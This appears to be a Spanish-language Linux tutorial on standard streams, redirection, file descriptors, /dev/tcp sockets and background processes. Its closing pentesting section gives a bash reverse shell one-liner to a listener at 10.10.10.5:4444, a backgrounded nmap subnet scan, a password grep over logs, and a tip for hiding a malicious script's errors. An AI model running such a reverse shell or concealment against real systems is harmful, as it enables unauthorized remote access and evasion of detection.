Skip to content

Control de Flujo, Redirecciones y Procesos en Segundo Plano

En el entorno de línea de comandos de Linux, el control sobre la entrada y salida de los programas es fundamental. Comprender cómo funcionan las redirecciones y la gestión de procesos no solo optimiza las tareas diarias, sino que también es una habilidad crucial en el pentesting para manipular datos, ocultar actividades y automatizar ataques.

Conceptos Fundamentales: stdin, stdout y stderr

Section titled “Conceptos Fundamentales: stdin, stdout y stderr”

Cada proceso en Linux se inicia con tres flujos de comunicación abiertos por defecto, conocidos como flujos estándar:

DescriptorNombreDescripción
0stdin (Entrada Estándar)El flujo de entrada de datos del programa. Por defecto, es el teclado.
1stdout (Salida Estándar)El flujo de salida para datos correctos o resultados esperados. Por defecto, es la terminal.
2stderr (Error Estándar)El flujo de salida para mensajes de error o diagnósticos. Por defecto, es la terminal.

Estos flujos son la base de las redirecciones. En lugar de enviar la salida a la terminal, podemos redirigirla a un archivo, a otro comando o incluso descartarla.

Un descriptor de archivo es un número entero no negativo que el kernel utiliza para identificar un archivo, socket o cualquier otro recurso de E/S abierto por un proceso. Los descriptores 0, 1 y 2 están reservados para los flujos estándar, pero se pueden crear más.

Los operadores de redirección permiten cambiar el destino de los flujos estándar.

  • > (Sobrescribir): Redirige stdout a un archivo. Si el archivo no existe, lo crea. Si existe, sobrescribe su contenido.

    Terminal window
    # Guarda la lista de archivos en 'archivos.txt', borrando el contenido anterior
    ls -l > archivos.txt
  • >> (Añadir): Redirige stdout a un archivo. Si el archivo existe, añade el nuevo contenido al final.

    Terminal window
    # Añade la fecha actual al final de 'log.txt'
    date >> log.txt
  • 2> (Sobrescribir error): Redirige stderr (descriptor de archivo 2) a un archivo.

    Terminal window
    # Intenta acceder a un archivo sin permisos y guarda el error en 'errores.log'
    cat /etc/shadow 2> errores.log
  • 2>> (Añadir error): Añade stderr al final de un archivo.

    Terminal window
    # Ejecuta un script y registra los errores sin borrar los anteriores
    ./mi_script.sh 2>> errores_acumulados.log
  • &> o >& (Sobrescribir ambos): Redirige tanto stdout como stderr al mismo archivo.

    Terminal window
    # Guarda toda la salida (correcta y errores) de un comando en un solo archivo
    find / -name "*.php" &> resultados.txt
  • >> archivo 2>&1 (Añadir ambos): Añade stdout a archivo y redirige stderr al mismo destino que stdout (el archivo en modo anexo).

    Terminal window
    # Registra toda la actividad de un script en un log acumulativo
    ./backup.sh >> backup.log 2>&1

Para ejecutar un comando sin que muestre ninguna salida (ni correcta ni errores), se redirige a /dev/null, un archivo especial que descarta todo lo que se le envía.

Terminal window
# Ejecuta un comando ruidoso sin mostrar nada en la terminal
comando_ruidoso &> /dev/null
  • < (Redirigir entrada): Toma el contenido de un archivo como entrada para un comando.

    Terminal window
    # Ordena el contenido del archivo 'nombres.txt'
    sort < nombres.txt
  • << (Here Document): Permite redirigir un bloque de texto de varias líneas como stdin. Es muy útil en scripts.

    Terminal window
    # Pasa un bloque de SQL a la herramienta mysql
    mysql -u root -p << EOF
    CREATE DATABASE mi_db;
    USE mi_db;
    EOF
  • <<< (Here String): Pasa una sola cadena de texto como stdin. Es más simple que echo "cadena" | comando.

    Terminal window
    # Cuenta las palabras de una cadena
    wc -w <<< "Hola mundo desde la terminal"

El operador de tubería (|) es una de las herramientas más potentes. Conecta el stdout de un comando con el stdin de otro, permitiendo encadenar procesos.

Terminal window
# Busca todos los procesos de 'apache', filtra las líneas con 'grep' y cuenta cuántas hay
ps aux | grep 'apache' | wc -l

Redirecciones Avanzadas y Técnicas Especiales

Section titled “Redirecciones Avanzadas y Técnicas Especiales”

Más allá de las redirecciones básicas, Bash ofrece técnicas avanzadas que brindan un control granular sobre los flujos de datos, esenciales para scripting complejo y tareas de pentesting.

Descriptores de Archivo Personalizados con exec

Section titled “Descriptores de Archivo Personalizados con exec”

El comando exec permite manipular los descriptores de archivo de la shell actual de forma persistente. Esto es útil para gestionar múltiples archivos de log o flujos de datos dentro de un script.

  • Abrir y escribir en un descriptor personalizado:

    Terminal window
    # Abrir el descriptor de archivo 3 (FD 3) para escribir en 'output.log'
    exec 3> output.log
    echo "Esta línea va a la terminal (stdout)"
    echo "Esta línea va al archivo de log" >&3
    echo "Esta también" >&3
  • Abrir y leer de un descriptor personalizado:

    Terminal window
    # Abrir el FD 4 para leer desde 'input.txt'
    exec 4< input.txt
    # Leer la primera línea del archivo a través del FD 4
    read -u 4 line
    echo "Leído del archivo: $line"
  • Abrir para Lectura y Escritura (<>): Abre un descriptor de archivo tanto para leer como para escribir. Esto es menos común para archivos regulares, pero es fundamental para la comunicación bidireccional, como con sockets de red.

    Terminal window
    # Abrir el FD 5 para lectura y escritura en 'comms.log'
    exec 5<> comms.log
    # Escribir en el archivo
    echo "Iniciando comunicación..." >&5
    # Para leer, necesitarías gestionar la posición del cursor dentro del archivo.
    # El uso más práctico es con sockets, como se ve más adelante.
    # Cerrar el descriptor
    exec 5<>&-
  • Cerrar un descriptor de archivo: Es una buena práctica cerrar los descriptores cuando ya no se necesitan.

    Terminal window
    # Cierra el descriptor de escritura 3
    exec 3>&-
    # Cierra el descriptor de lectura 4
    exec 4<&-

La sustitución de procesos permite que la salida de un comando se comporte como un archivo temporal (técnicamente, un named pipe o FIFO). Esto es extremadamente útil para comandos que esperan rutas de archivo como argumentos.

Terminal window
# Compara las diferencias entre los listados de dos directorios sin crear archivos intermedios
diff <(ls /bin) <(ls /usr/bin)
  • Subshell (): Ejecuta los comandos en un nuevo proceso. La redirección se aplica a la salida combinada.

    Terminal window
    # Guarda la fecha y un listado de archivos en un solo archivo
    (date; ls -l) > info.txt
  • Grupo {}: Ejecuta los comandos en el proceso actual (más eficiente). Requiere un espacio después de { y un punto y coma ; después del último comando.

    Terminal window
    # Hace lo mismo que el ejemplo anterior, pero de forma más eficiente
    { date; ls -l; } > info.txt

Es un atajo introducido en Bash 4 para 2>&1 |. Envía tanto stdout como stderr del primer comando al stdin del segundo.

Terminal window
# Busca 'error' tanto en la salida estándar como en los errores de un script
./mi_script.sh |& grep 'error'

$PIPESTATUS es un array que contiene los códigos de salida de todos los comandos en la última tubería ejecutada. Es crucial para verificar si algún paso intermedio falló.

Terminal window
ls /nonexistent | sort | wc -l
# El comando no produce errores visibles, pero el primer comando falló.
echo ${PIPESTATUS[0]} # Muestra el código de salida de 'ls' (diferente de 0)
echo ${PIPESTATUS[1]} # Muestra el código de salida de 'sort' (0)
echo ${PIPESTATUS[2]} # Muestra el código de salida de 'wc' (0)

Aunque ya se mencionó para reverse shells, esta construcción de Bash puede usarse para cualquier comunicación TCP. No es un archivo real, sino un intérprete de Bash que abre un socket TCP. Para ello, es fundamental abrir el descriptor en modo de lectura y escritura (<>) para poder enviar datos y recibir la respuesta a través del mismo descriptor.

Terminal window
# Enviar una petición HTTP simple a un servidor web
exec 3<>/dev/tcp/example.com/80
echo -e "GET / HTTP/1.1\nHost: example.com\n\n" >&3
cat <&3 # Leer la respuesta del servidor

Ejecutar tareas en segundo plano (background) libera la terminal para seguir trabajando mientras el proceso se completa.

  • & (Ampersand): Colocado al final de un comando, lo ejecuta en segundo plano.

    Terminal window
    # Inicia un servidor web simple en segundo plano
    python3 -m http.server 8000 &
    # La terminal muestra el PID (Process ID) y queda libre
    [1] 12345
  • jobs: Muestra la lista de procesos que se están ejecutando en segundo plano en la sesión actual.

  • fg %N (Foreground): Trae un proceso del segundo plano al primer plano. N es el número del job (obtenido con jobs).

  • bg %N (Background): Reanuda un proceso detenido y lo pone en segundo plano.

disown: Desvincular un Proceso de la Terminal

Section titled “disown: Desvincular un Proceso de la Terminal”

Por defecto, si cierras la terminal, todos los procesos en segundo plano que iniciaste desde ella reciben una señal SIGHUP (hang-up) y terminan.

El comando disown elimina un job de la tabla de jobs de la shell, protegiéndolo de la señal SIGHUP. Esto permite que el proceso continúe ejecutándose incluso después de cerrar la terminal.

Uso:

  1. Inicia un proceso en segundo plano.

    Terminal window
    mi_proceso_largo.sh &
    [1] 12345
  2. Usa disown para desvincularlo. Por defecto, actúa sobre el último job.

    Terminal window
    disown

    O especifica el número del job:

    Terminal window
    disown %1

Ahora puedes cerrar la terminal y el proceso 12345 seguirá ejecutándose.

Alternativa común: nohup (no hang-up) es otro comando que logra un resultado similar. nohup comando & ejecuta un comando inmune a SIGHUP y redirige su salida a nohup.out por defecto.

  • Reconocimiento silencioso: Ejecutar escaneos de red o scripts de enumeración y guardar toda la salida en archivos para analizarla después, sin llenar la pantalla.

    Terminal window
    # Escaneo de Nmap en segundo plano, guardando toda la salida y errores
    nmap -sV -p- 192.168.1.0/24 &> nmap_scan.txt &
    disown
  • Reverse Shells: Las redirecciones son la base para crear shells inversas, donde la entrada y salida de /bin/bash se redirigen a través de una conexión de red.

    Terminal window
    # Shell inversa clásica con bash
    bash -i >& /dev/tcp/10.10.10.5/4444 0>&1
  • Filtrado y análisis de logs: Usar cat, grep, awk, sed y | para buscar patrones, credenciales o información sensible en grandes volúmenes de datos.

    Terminal window
    # Buscar contraseñas en un archivo de log, ignorando mayúsculas y minúsculas
    cat access.log | grep -i "password"
  • Ocultar actividad: Redirigir la salida de error de un script malicioso a /dev/null para que no deje rastros visibles si falla.

    Terminal window
    ./payload.sh 2> /dev/null